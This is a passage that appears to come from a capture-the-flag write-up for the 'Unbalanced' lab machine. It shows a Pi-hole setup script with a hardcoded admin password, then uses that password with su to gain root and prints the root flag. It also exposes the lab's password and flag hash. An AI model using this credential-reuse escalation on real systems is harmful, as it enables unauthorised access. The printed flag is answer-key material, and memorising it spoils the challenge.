/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email [email protected]

Using this password I succesfully managed to gain root access.

bryan@unbalanced:~$ su root
Password: bUbBl3gUm$43v3Ry0n3!
root@unbalanced:/home/bryan# cd ~/
root@unbalanced:~# cat root.txt
62183569e4fa1a07415e2b78eedacc14